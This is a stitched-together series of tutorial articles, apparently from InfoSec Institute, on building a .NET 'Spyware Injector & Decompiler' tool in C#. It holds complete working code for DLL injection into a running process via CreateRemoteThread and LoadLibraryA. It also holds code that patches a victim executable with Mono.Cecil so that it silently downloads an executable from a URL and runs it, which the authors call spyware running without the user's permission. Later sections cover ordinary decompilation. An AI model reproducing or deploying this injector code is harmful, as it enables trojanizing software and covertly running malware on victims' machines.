string lpBuffer, UIntPtr nSize, out IntPtr lpNumberOfBytesWritten ); GetModuleHandle – We also need the handle of kernal32.dll, so it is passed on in the GetModuleHandle() as an argument. [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); WaitForSingleObject – This method waits for specific amount of time to confirm that the current thread is either free or busy. [DllImport("kernel32", SetLastError = true, ExactSpelling = true)] internal static extern Int32 WaitForSingleObject( IntPtr handle, Int32 milliseconds ); GetProcessId – It must mandatory to get the victim process ID or name on behalf of DLL injection so that further operation can carry on. public Int32 GetProcessId(String proc) { Process[] ProcList; ProcList = Process.GetProcessesByName(proc); return ProcList[0].Id; } So, we have finished with the definition of all essential Windows API so far. Now, we shall write the code in the DLLinjection() method one by one, which is the main method that performs DLL injection in the remote process and of course having the victim process and DLL name as an argument. Hence, first we shall calculate the DLL length in order to allocate the slot to it in memory using VirutalAllocEx() method and then copy the target DLL in the allocated space using WriteProcessMemory() method. We therefore get the handle of kernal32.dll to interact with the victim process and place it in the CreateRemoteThread() which creates an ad-hoc thread for DLL. We later encounter with rest of the API, where we are confirming either the thread is busy or idle or finally freeing the virtual allocated slot from the memory VirtualFreeEx() method. public void DLLinjection(IntPtr hProc, String DLLName) { IntPtr bytesout; Int32 LenWrite = DLLName.Length + 1; IntPtr Alloc_Memory = (IntPtr)VirtualAllocEx(hProc, (IntPtr)null, (uint)LenWrite, 0x1000, 0x40); WriteProcessMemory(hProc, Alloc_Memory, DLLName, (UIntPtr)LenWrite, out bytesout); UIntPtr Injector = (UIntPtr)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (Injector == null) { MessageBox.Show("Injector Error! n "); return; } IntPtr hThread = (IntPtr)CreateRemoteThread(hProc, (IntPtr)null, 0, Injector, Alloc_Memory, 0, out bytesout); if (hThread == null) { MessageBox.Show(" Thread handle Error! n "); return; } int Result = WaitForSingleObject(hThread, 10 * 1000); if (Result == 0x00000080L || Result == 0x00000102L || Result == 0x10000) { MessageBox.Show(" Thread timeout Error! n "); if (hThread != null) { CloseHandle(hThread); } return; } Thread.Sleep(1000); VirtualFreeEx(hProc, Alloc_Memory, (UIntPtr)0, 0x8000); if (hThread != null) { CloseHandle(hThread); } return; } After that, it is time to call this method in the Inject DLL button where we first gather the information about the selected process and DLL path, then get the ID of the running victim process. First, it is checking whether the process is running or not, and then tries to open that process. If the code found the essential details about process and DLL, then DLLinjection() method is called, followed by a method which contains the definition about the status of operations. private void btnInjectDLL_Click(object sender, EventArgs e) { String dllName = txtDLLInject.Text; String Process_Name = txtProcess.Text; if (dllName != "" && Process_Name != "") { Int32 ProcID = GetProcessId(Process_Name); if (ProcID >= 0) { IntPtr h_Process = (IntPtr)OpenProcess(0x1F0FFF, 1, ProcID); if (h_Process == null) { lblSt3.Text = " Failed to Open Process"; return; } else { DLLinjection(h_Process, dllName); operationStatus(ProcID, Process_Name, dllName); } } } else { MessageBox.Show("Select Process to Inject"); return; } } The operationStatus() method typically contains some label controls which show the information about the injected DLL, victim process, and finally whether the DLL injection is successful or not. private void operationStatus(Int32 id, string pn,string dn) { lblSt1.Text = "Injecting [" + dn + "] into [" + pn + "]...."; lblSt2.Text = "Opening [" + pn + "] with [" + id + "] id :"; lblSt3.Text = " Success"; } So, we are done with the coding of DLL injection, now we compile the solution using F9 and run the executable. Testing Open the Spyware Injector & Decompiler software after compiling it successfully and go to DLL injection tab. Here, we find all the running machine processes in the List box control. The moment we select anyone, for example notepad, is placed in the corresponding Process textbox and becomes the victim process. Finally, after hitting the Inject DLL button, DLLlib.dll is injected in the Notepad process as follows: After hitting the OK button in the message, another spyware program EncryptCrack.exe is started, and the moment we close or terminate the notepad, we shall see the message box about DLL ejection. Final Note This paper describes DLL injection, which is a very sophisticated method implementation because we don’t have either the source code of the victim process or empty slots in memory to put the injected DLL like we do with code caves. We have to create the virtual memory locations , open the process, and copy the DLL through Windows API of kernal32.dll, as well as learn how to create the special inject DLL which has DllMain function as an entry point. Finally, this article demonstrates how to inject a DLL into any running process of the machine as well as activate another process which definition was also coded in the DLL file. In the next articles, we shall perform a comprehensive post-mortem analysis of all the features of this software. Reference It is mandatory to go through all the Disassembler Mechanized articles in this series. Disassembler Mechanized: Part 1 - Coding of Disassembler - InfoSec Institute Source

Introduction This article is a continuation of the previous effort of writing the “Disassembler-Mechanized” series, in which we are showing the process of developing special software which disassembles source code and injects arbitrary .exe into a process. The first two articles in this serious were about the design, configuration of API, and disassembler code manipulation. We have developed the design of custom disassembler software and the mechanics which produce the original source of a .NET assembly in C# language and MSIL form. These two articles were to make the basic infrastructure for this current paper’s accompanied code injection feature implementation. In particular, this paper showcases the process of injecting external source code in form of an .exe file to an existing .NET binary executable. What is Code Injection? Code injection refers to a method for attackers to manipulate programs and processes to execute another program by means of inserting a malicious code into an application, which then will be executed. The approach of code injection is very similar to Hooking, where it offers a hook to the Just-In-time (JIT) compiler and enables to inject arbitrary code and fix its execution automatically rather than performing the default CLR JIT compilation. The hooks in the JIT compiler filter the request of MSIL code method and provide the real MSIL instead of the MSIL contained in the assembly when the code of a method is requested. By injecting one method at a time, the MSIL code will remain obscured, even if one manages to dump the code from memory. The real beauty of code injection is that it runs without the cost of a PInoke/Interop call, and doesn’t affect the pace of a pure CLR method call. Simply, we shall manipulate a .NET binary to demonstrate the code injection using message box injection and .exe (malicious .exe) injection tactics. The important point of consideration is to identify the entry point or triggering in the uploaded binary for activating the malicious program. In message box injection, we typically inject a custom message box which has a string message into an opened .exe in this software. UI Design recap As we stated in the earlier articles, this software contains several form controls over the end-user interface. It is worthless to discuss the implementations of entire controls, rather we shall move ahead with the control which is currently being used in this article. Here is the list of windows form controls to implement message box and spyware injection: If the programmer places the entire form controls to implement aforesaid design prototype, then it will transpire in this final injector tool form. The following image belongs to message box injector: And the following figure is related to external .exe or malicious spyware injector design: Getting Started The functionality of external message box and spyware injection into a binary in the software is quite a long and exhaustive process. We shall have to use bizarre classes and methods in order to place the external MSIL code into an existing binary. Hence, open the tabPage3 in the Design view and place the following code in the btnInjectMsg_Click method, which typically confirms either the text box in the Message Box Injector design empty or fills with values as: private void btnInjectMsg_Click(object sender, EventArgs e) { if (txtURL.Text!="" && txtTitle.Text != "" && txtbody.Text != "") { InjectMsg(); } } As like before, place the following implementation in tabPage4 for spyware injection design, which again checks whether the textbox value is empty or not: private void btnInjectSpy_Click(object sender, EventArgs e) { if (txtURL.Text!="" && txtURLlocation.Text != "" && txtStoreLocation.Text != "") { InjectSpyware(); } } During Implementation, we would have to perform a flushing control value multiple times. So, we make a method which specially clears the current value of every control placed on the user interface as follows: private void ResetData() { txtURL.Text = ""; tvMembers.Nodes.Clear(); rtbILCode.Clear(); rtbCsharpCode.Clear(); rtbInfo.Clear(); txtTitle.Text = ""; txtbody.Text = ""; txtURLlocation.Text = ""; } Message Box Injection The mechanics of injecting an arbitrary message box into a current running binary executable is in fact a very sophisticated task, especially in a condition where we don’t possess the corresponding source code of that binary. Whatever methods applied to achieve such an objective will not suffice alone until we figure the entry point, which determines the triggering point of invoking that message box. The entry points are actually the place where we want to inject the external message box. The following code in the InjectMsg() method is called when the Inject button is clicked. Several methods from the external or internal classes, especially ILProcessor, MethodInfo and Instruction, are employed in order to integrate external code CLR opcode instructions into existing code. Here, the user interface design for message nox injection typically contains a couple textbox and radio buttons. However, with the information collected from selection of those radio buttons and values entered in the textbox, this software immediately generates the corresponding CLR opcode instruction and integrates such instruction where the user wants to place it. Private void InjectMsg() { var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text); try { IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { TypeDefinition td = (TypeDefinition)enumerator.Current; if (td.Name == tvMembers.SelectedNode.Parent.Text) { IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) { MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; if (method_definition.Name == tvMembers.SelectedNode.Text) { ILProcessor cilProcess = method_definition.Body.GetILProcessor(); string ok = txtTitle.Text; string str = txtbody.Text; MethodInfo method = typeof(MessageBox).GetMethod("Show", new Type[] { typeof(string), typeof(string), typeof(MessageBoxButtons), typeof(MessageBoxIcon) }); MethodReference method2 = assembly.MainModule.Import(method); Instruction instruction = cilProcess.Create(OpCodes.Ldstr, str); Instruction instruction1 = cilProcess.Create(OpCodes.Ldstr, ok); Instruction instruction11 = null; if (rbOK.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_0); } if (rbOC.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_1); } if (rbYN.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_4); } if (rbYNC.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_2); } if (rbRC.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_5); } if (rbRCI.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_3); } Instruction instruction111 = null; sbyte error = 16; sbyte question = 32; sbyte exclamation = 48; sbyte info = 64; if (rbInfo.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, info); } if (rbErr.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, error); } if (rbExc.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, exclamation); } if (rbQues.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, question); } try { Instruction instruction2 = cilProcess.Create(OpCodes.Call, method2); Instruction instr = cilProcess.Create(OpCodes.Pop); ILProcessor cilWorker2 = cilProcess; cilWorker2.InsertBefore(method_definition.Body.Instructions[0], instruction); cilWorker2.InsertAfter(instruction, instruction1); cilWorker2.InsertAfter(instruction1, instruction11); cilWorker2.InsertAfter(instruction11, instruction111); cilWorker2.InsertAfter(instruction111, instruction2); cilWorker2.InsertAfter(instruction2, instr); } catch { MessageBox.Show("Select Button type and style"); return; } using (SaveFileDialog saveFileDialog = new SaveFileDialog { Title = "Save to :", Filter = "Executables | *.exe" }) { if (saveFileDialog.ShowDialog() == DialogResult.OK) { assembly.MainModule.Runtime = TargetRuntime.Net_4_0; assembly.Write(saveFileDialog.FileName); MessageBox.Show("Message Successfuly Injected"); DialogResult dr = MessageBox.Show("Do you want To Test it?", "Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question); if (dr == DialogResult.Yes) { Process.Start(saveFileDialog.FileName.ToString()); } else { ResetData(); return; } } return; } } } } } } catch { MessageBox.Show("First,select method from Assembled members, where you want to inject Message box"); } } However, we define a method as InjectMsg() to implement the external message box functionality. This method contains several lines of code, as some of following first, reads the assembly, then extracts the main modules list by using Enumerator, and finally using another Enumerator, we shall retrieve entire members in the form of method, in the treeview control as follows: ……………………….. var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text); IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { TypeDefinition td = (TypeDefinition)enumerator.Current; if (td.Name == tvMembers.SelectedNode.Parent.Text) { IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) { MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; if (method_definition.Name == tvMembers.SelectedNode.Text) { …............. The next code first determines the position for the message box placing, in the existing Opcode of that file, using ILProcessor class as well as defines the prototype of custom message box to generate its corresponding CIL code, which is going to merge later. Here, we specially collect the message box body and title related data as follows: ILProcessor cilProcess = method_definition.Body.GetILProcessor(); string ok = txtTitle.Text; string str = txtbody.Text; MethodInfo method = typeof(MessageBox).GetMethod("Show", new Type[] { typeof(string), typeof(string), typeof(MessageBoxButtons), typeof(MessageBoxIcon) }); MethodReference method2 = assembly.MainModule.Import(method); Instruction instruction = cilProcess.Create(OpCodes.Ldstr, str); Instruction instruction1 = cilProcess.Create(OpCodes.Ldstr, ok); The message box is accompanied by diverse buttons and utilized in specific scenarios as per the user’s requirement. So, it is obvious that each message box must have its CIL opcode representation to specific buttons, in the context of CLR as follows: Message Dialog Box Type MSIL opcode Instruction Ldc_I4_0 OK Dialog Box Ldc_I4_1 OK or Cancel Dialog Box Ldc_I4_2 Yes, No or Cancel Dialog Box Ldc_I4_3 Retry, Cancel or Ignore Dialog Box Ldc_I4_4 Yes, No Dialog Box Ldc_I4_5 Retry or Cancel Dialog Box Now, we shall define one Instruction class object, which would hold the status of message box buttons type. More precisely, whatever button type, such as Yes/No, Yes/No/Cancel, chosen from end-user design, is stored in the Instruction class object as follows: Instruction instruction11 = null; if (rbOK.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_0); } if (rbOC.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_1); } if (rbYN.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_4); } if (rbYNC.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_2); } if (rbRC.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_5); } if (rbRCI.Checked == true) { instruction11 = cilProcess.Create(OpCodes.Ldc_I4_3); } Further, we also have to store the value of what message box type is chosen from the end-user. The message box also shows as Error, Exclamation or Question type as follows: Instruction instruction111 = null; sbyte error = 16; sbyte question = 32; sbyte exclamation = 48; sbyte info = 64; if (rbInfo.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, info); } if (rbErr.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, error); } if (rbExc.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, exclamation); } if (rbQues.Checked == true) { instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, question); } Up til now, we gathered entire necessary data to show a message box and implement its CIL opcode representation too. In the subsequent code, we shall apply the methods of ILProcessor class to write the opcode instruction on behalf of collected data from the design and finally make an another version of the victim binary, where the external message box is injected as follows: try { Instruction instruction2 = cilProcess.Create(OpCodes.Call, method2); Instruction instr = cilProcess.Create(OpCodes.Pop); ILProcessor cilWorker2 = cilProcess; cilWorker2.InsertBefore(method_definition.Body.Instructions[0], instruction); cilWorker2.InsertAfter(instruction, instruction1); cilWorker2.InsertAfter(instruction1, instruction11); cilWorker2.InsertAfter(instruction11, instruction111); cilWorker2.InsertAfter(instruction111, instruction2); cilWorker2.InsertAfter(instruction2, instr); } catch { MessageBox.Show("Select Button type and style"); return; } using (SaveFileDialog saveFileDialog = new SaveFileDialog { Title = "Save to :", Filter = "Executable | *.exe" }) Exe Code Injection (Planting Spyware) First the .exe injector interface asks to upload a malicious file, which would be injected. Hence, the tabPage4 contains a button to open a file open dialog, which selects the malicious file from the hard-disk and puts the entire path of that file into a text box. Hence, create a click event handler for btnUpload and enter the following code: private void btnUpload_Click(object sender, EventArgs e) { OpenFileDialog openAsm = new OpenFileDialog(); openAsm.Filter = "Executable | *.exe"; if (openAsm.ShowDialog() == DialogResult.OK) { txtURLlocation.Text = openAsm.FileName; } } The following code belongs to .exe or malicious spyware injection into another executable binary which must of course be a .NET binary. The code written in the InjectSpyware() method typically called when the user presses the inject button resides in the design. Here, the first of few lines a highlighted in blue. Implementation is the same as to with the message box injector, where we actually identify the location or triggering point of the injected file. private void InjectSpyware() { var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text); try { IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { TypeDefinition td = (TypeDefinition)enumerator.Current; if (td.Name == tvMembers.SelectedNode.Parent.Text) { IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) { MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; if (method_definition.Name == tvMembers.SelectedNode.Text && !method_definition.IsSetter && !method_definition.IsGetter) { ILProcessor cilProcess = method_definition.Body.GetILProcessor(); string str2 = txtURLlocation.Text; string str3 = txtStoreLocation.Text; ConstructorInfo meth = typeof(WebClient).GetConstructors()[0]; MethodInfo mtd3 = typeof(WebClient).GetMethod("DownloadFile", new Type[] { typeof(string), typeof(string) }); MethodInfo mtd4 = typeof(Process).GetMethod("Start", new Type[] { typeof(string) }); MethodReference mtd5 = assembly.MainModule.Import(meth); MethodReference mtd6 = assembly.MainModule.Import(mtd3); MethodReference mtd7 = assembly.MainModule.Import(mtd4); Instruction instruction3 = cilProcess.Create(OpCodes.Newobj, mtd5); Instruction instruction4 = cilProcess.Create(OpCodes.Nop); Instruction instruction5 = cilProcess.Create(OpCodes.Ldstr, str2); Instruction instruction6 = cilProcess.Create(OpCodes.Ldstr, str3); Instruction instruction7 = cilProcess.Create(OpCodes.Nop); Instruction instruction8 = cilProcess.Create(OpCodes.Callvirt, mtd6); Instruction instruction9 = cilProcess.Create(OpCodes.Nop); Instruction instruction10 = cilProcess.Create(OpCodes.Ldstr, str3); Instruction instruction11 = cilProcess.Create(OpCodes.Call, mtd7); Instruction instr2 = cilProcess.Create(OpCodes.Pop); ILProcessor cilWorker3 = cilProcess; cilWorker3.InsertBefore(method_definition.Body.Instructions[0], instruction3); cilWorker3.InsertAfter(instruction3, instruction4); cilWorker3.InsertAfter(instruction4, instruction5); cilWorker3.InsertAfter(instruction5, instruction6); cilWorker3.InsertAfter(instruction6, instruction7); cilWorker3.InsertAfter(instruction7, instruction8); cilWorker3.InsertAfter(instruction8, instruction9); cilWorker3.InsertAfter(instruction9, instruction10); cilWorker3.InsertAfter(instruction10, instruction11); cilWorker3.InsertAfter(instruction11, instr2); using (SaveFileDialog saveFileDialog = new SaveFileDialog { Title = "save to", Filter = "Executables | *.exe" }) { if (saveFileDialog.ShowDialog() == DialogResult.OK) { assembly.MainModule.Runtime = TargetRuntime.Net_4_0; assembly.Write(saveFileDialog.FileName); MessageBox.Show("Spyware Successfuly Injected"); DialogResult dr = MessageBox.Show("Do you want To Test it?", "Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question); if (dr == DialogResult.Yes) { Process.Start(saveFileDialog.FileName.ToString()); } else { ResetData(); return; } } return; } } } } } } catch { MessageBox.Show("First,select method from Assembly members, where you want to inject Message box"); } } Next, we get the spyware. exe file and path where the file would be injected. This software could also capable of injecting a malicious .exe from a remote location, typically from a website. Hence, mtd3 and mtd4 of the MethodInfo class objects are doing this functionality, and later they are referenced in assembly import method. The corresponding spyware injection code shall be merging to a specific location, in form of opcode instruction. Here, we basically are creating an instruction to call a method using a Callvirt instruction, which has the external .exe file as a parameter. ILProcessor cilProcess = method_definition.Body.GetILProcessor(); string str2 = txtURLlocation.Text; string str3 = txtStoreLocation.Text; ConstructorInfo meth = typeof(WebClient).GetConstructors()[0]; MethodInfo mtd3 = typeof(WebClient).GetMethod("DownloadFile", new Type[] { typeof(string), typeof(string) }); MethodInfo mtd4 = typeof(Process).GetMethod("Start", new Type[] { typeof(string) }); MethodReference mtd5 = assembly.MainModule.Import(meth); MethodReference mtd6 = assembly.MainModule.Import(mtd3); MethodReference mtd7 = assembly.MainModule.Import(mtd4); Instruction instruction3 = cilProcess.Create(OpCodes.Newobj, mtd5); Instruction instruction4 = cilProcess.Create(OpCodes.Nop); Instruction instruction5 = cilProcess.Create(OpCodes.Ldstr, str2); Instruction instruction6 = cilProcess.Create(OpCodes.Ldstr, str3); Instruction instruction7 = cilProcess.Create(OpCodes.Nop); Instruction instruction8 = cilProcess.Create(OpCodes.Callvirt, mtd6); Instruction instruction9 = cilProcess.Create(OpCodes.Nop); Instruction instruction10 = cilProcess.Create(OpCodes.Ldstr, str3); Instruction instruction11 = cilProcess.Create(OpCodes.Call, mtd7); Instruction instr2 = cilProcess.Create(OpCodes.Pop); ILProcessor cilWorker3 = cilProcess; We have to adjust the flow to opcode instruction execution. Hence, the subsequent code maintains which code to insert at what location as follows: cilWorker3.InsertBefore(method_definition.Body.Instructions[0], instruction3); cilWorker3.InsertAfter(instruction3, instruction4); cilWorker3.InsertAfter(instruction4, instruction5); cilWorker3.InsertAfter(instruction5, instruction6); cilWorker3.InsertAfter(instruction6, instruction7); cilWorker3.InsertAfter(instruction7, instruction8); cilWorker3.InsertAfter(instruction8, instruction9); cilWorker3.InsertAfter(instruction9, instruction10); cilWorker3.InsertAfter(instruction10, instruction11); cilWorker3.InsertAfter(instruction11, instr2); After creating an instruction for an external .exe and inserting in in a specific order, the code is executed, which produces a new .exe version, which possesses all the new modifications. using (SaveFileDialog saveFileDialog = new SaveFileDialog { Title = "save to", Filter = "Executables | *.exe" }) { if (saveFileDialog.ShowDialog() == DialogResult.OK) { assembly.MainModule.Runtime = TargetRuntime.Net_4_0; assembly.Write(saveFileDialog.FileName); MessageBox.Show("Spyware Successfuly Injected"); DialogResult dr = MessageBox.Show("Do you want To Test it?", "Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question); if (dr == DialogResult.Yes) { Process.Start(saveFileDialog.FileName.ToString()); } else { ResetData(); return; } } Testing Message Box Injection We are going to victimize the following executable in order to demonstrate message box injection. First, upload this file into your software, and here the EXIT button would be the entry point of execution for an external message box. So, fill in all the necessary data to show in a message box and hit the Inject button. You’ll notice that a message box will pop-up about the successful injection as follows: It will also prompt to save-as the victim file. Now open the new version of victim file and click on the Exit button; you’ll notice the external message box will appear with message data that we have entered in the design as follows: Spyware Injection In this demonstration, we need two executables: one that would be a victim and the other would be a spyware executable. First, upload the victim file in the software, and determine the triggering point for invoking spyware .exe, and finally upload the spyware executable. After that, hit the Inject button that shows the success of the operation as follows: The victim file is typically an application that requires serial keys to proceed. Therefore, open the new version of this file and enter some value. Obviously, the wrong key message shows, and the inject spyware executable also activates and displays as follows: Final Note This paper demonstrates the rest of the implementation of external message box injection and spyware injection. In external message, we explicitly injected the instructions for message box execution in a stand-alone .NET binary on the pre-determined activation triggering action. For this purpose, we have also designed an end-user interface to populate the text body in the message box. On the other side, the spyware injector typically penetrates a stand-alone .exe into another .NET binary executable. The stand-alone spyware or application executes without the user’s permission, because its invoking is linked to the particular action of the victim executable. In the next article of this series, we shall analyze the penetration of external instruction in detail, as well as come across a couple new ideas related to this software. Source

Introduction In the previous papers, we have showcased the essential configuration in terms of external DLL importing into the solution and NuGet package installation. As we have stated earlier, the process of making the custom disassembler incorporates several development cycle layers, and we have already covered user interface designing, getting assembly origin information, and decompiling assembly members in the previous article. Now, we shall carry on our voyage by explaining the process of getting disassembled code in C# and MSIL language. The .NET CLR provisions several programming languages, such as VC#, VisualBasic.NET, F# and managed C++. Components written for example in VB.NET or C++ can easily be reprocessed in code written in another language, for instance C#. As we know, code from these high-level languages gets compiled to a common Intermediate Language (IL) which runs in the Common Language Runtime (CLR). There are typically multiple reasons of code disassembling, ranging from interoperability purposes to recovering lost source code or finding security vulnerabilities. Disassembling can assist to audit the implementation of security-sensitive features such as authentication, authorization, and encryption. Disassembling .NET clients for security purposes can also facilitate ensuring that the software performs the expected tasks without hidden features such as spy- or adware. UI Design recap It doesn’t matter how we design this software: our main goal is to implement the disassembling features. Before moving forward, it is mandatory to come up with the controls we are placing in the user interface design of this software, because we shall have to direct a particular form control to respond to an event; for instance, treeview control, which displays entire members’ modules of the assembly, will display the corresponding MSIL or C# source during selection of any methods. Although this software implements numerous forms of control, as per the requirement of this paper, we are elaborating on these necessary controls only, which shall be confronted during coding. Control Control Name Event TreeView tvMembers tvMembers_AfterSelect() TabControl tabControl1 tabPage1= C# code (Decompiled) tabPage2= IL code (Decompiled) tabPage3= MsgBox Injector tabPage4= exe Injector RichTextBox rtbCsharpCode RichTextBox rtbILCode Button btnLoadAssem btnLoadAssem_Click() Getting Started The moment the user uploads a .NET built assembly, the treeview control is activated and shall produce entire contents of the assembly in terms of modules and methods. As per the proposed functionality of this paper, we have to show the corresponding source code of an assembly in the form of C# of IL language. Here, we shall utilize the treeview control, which streamlines our job in terms of when we select a particular method or content of the assembly; the equivalent original source code (C#, MSIL) will appear in the rich text box which is located in the tab control. Hence, we will create an AfterSelect event for treeview control and place the following code as: private void tvMembers_AfterSelect(object sender, TreeViewEventArgs e) { try { populateCsharpCode(); populateILCode(); } catch { MessageBox.Show("Expand the Namespace"); return; } } We have put two methods inside the tvMemebers_AfterSelect() as populateCsharpCode() which expresses the C# source code, and rest displays the MSIL code. C# Code Disassembling In this section, we shall express the process of yielding C# source code from a selected method in the treeview control. We have seen the process of generating original source code earlier in erstwhile popular disassemblers, for instance ILSpy, ILPeek and Reflector. We are in fact implementing the same functionality and features in our software. Hence, the very first line of code in the populateCsharpCode() reads an assembly from the text box control into a dynamic type variable, and later by using this variable, we are enumerating the main modules residing in the assembly through the loop, with the loop constructed as: var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text); IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { … .. } In the loop, we shall define an object of TypeDefinition type, which possesses the modules of the assembly, and this is also used further to explorer the methods inside any selected modules as: TypeDefinition td = (TypeDefinition)enumerator.Current; IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) {..} Now, we get the reference of the method from the selected modules in the MethodDefinition object, and create an AstBuilder class object which typically performs the de-compilation process. MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; AstBuilder ast_Builder = null; We again go through the current modules in the assembly using the foreach construct, and pass the current selected method reference to the AstBuilder class in order to disassemble its C# source code as: foreach (var typeInAssembly in assembly.MainModule.Types) { ast_Builder = new AstBuilder( new ICSharpCode.Decompiler.DecompilerContext (assembly.MainModule) { CurrentType = typeInAssembly }); In this implementation, we are showing methods only in the contents portion. Hence, we also have to confirm that either we are selecting methods or other members of the assembly as: foreach (var method in typeInAssembly.Methods) { if (method.Name == tvMembers.SelectedNode.Text) { …. } } } Finally in the if condition block, we first flush the data in the rich text box control and pass the selected method parameters in the AddMethod() of AstBuilder class. Then we produce the output in the rich text box control using string builder class object: rtbCsharpCode.Clear(); ast_Builder.AddMethod(method); StringWriter output = new StringWriter(); ast_Builder.GenerateCode(new PlainTextOutput(output)); string result = output.ToString(); rtbCsharpCode.AppendText(result); output.Dispose(); We have discussed and elaborated the line by line code meaning; so far, in the following table, we can obtain the complete C# source code disassembling code as: private void populateCsharpCode() { var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text); IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { TypeDefinition td = (TypeDefinition)enumerator.Current; IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) { MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; AstBuilder ast_Builder = null; foreach (var typeInAssembly in assembly.MainModule.Types) { ast_Builder = new AstBuilder(new ICSharpCode.Decompiler.DecompilerContext (assembly.MainModule) { CurrentType = typeInAssembly }); foreach (var method in typeInAssembly.Methods) { if (method.Name == tvMembers.SelectedNode.Text) { rtbCsharpCode.Clear(); ast_Builder.AddMethod(method); StringWriter output = new StringWriter(); ast_Builder.GenerateCode(new PlainTextOutput(output)); string result = output.ToString(); rtbCsharpCode.AppendText(result); output.Dispose(); } } } } } } IL Code Disassembling …. if (method_definition.Name == tvMembers.SelectedNode.Text && !method_definition.IsSetter && !method_definition.IsGetter) { rtbILCode.Clear(); ILProcessor cilProcess = method_definition.Body.GetILProcessor(); foreach (Instruction ins in cilProcess.Body.Instructions) { rtbILCode.AppendText(ins + Environment.NewLine); } } ………. The previous demonstration of C# source code was pretty exhaustive compared to IL code producing. In this segment, we will convert MSIL code from the selected method of the current assembly module. It is however almost the same process as the earlier section implementation, but this time we don’t need to rely or call on AstBuilder class method in order to disassemble the code. Rather, a couple of .NET framework in-built classes such as ILProcessor are sufficient to produce IL code of the select method. Here what we are doing for each loop construct: we are just enumerating all corresponding IL code instructions and placing them into rich text box control. The following table presents the whole code of IL code disassembling: private void populateILCode() { var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text); IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { TypeDefinition td = (TypeDefinition)enumerator.Current; if (td.Name == tvMembers.SelectedNode.Parent.Text) { IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) { MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; if (method_definition.Name == tvMembers.SelectedNode.Text && !method_definition.IsSetter && !method_definition.IsGetter) { rtbILCode.Clear(); ILProcessor cilProcess = method_definition.Body.GetILProcessor(); foreach (Instruction ins in cilProcess.Body.Instructions) { rtbILCode.AppendText(ins + Environment.NewLine); } } } } } } Testing It is important to test both of the implementations that we have described earlier. We shall demonstrate the C# source generation process. In order to fulfill our goal, we need an exe or DLL file, the source code of which we shall generate by using this software. The following DumySoftware.exe application is typically a login authentication mechanism, and it blocks our way in case we do not enter the correct user name and password. Hence, we open this application .exe file into Spyware Injector & Decompiler software. It will display .exe file contents with its origin information. The moment we expand the main modules of this assembly in the treeview control and select any method, we find its C# source code in the control tab: We can also view the MSIL code as we had seen such code using ILDASM.exe utility. The process of MSIL code disassembling is similar to C# code decompilation. We first have to select the method from the tab control and switch on the IL code tab as following. Final Note This is the second version of “disassembler mechanized”, accompanied with additional features of development in the custom disassembler. The goal of this paper is to summarize knowledge of how to make a disassembler which produces code from a .NET assembly in both C# and IL format languages. We have observed the process of obtaining C# code in a step by step, detailed manner, along with generation of MSIL code too. In the next article, we shall present the development of custom .exe or code injection tactics in the form of both message box and spyware. Source

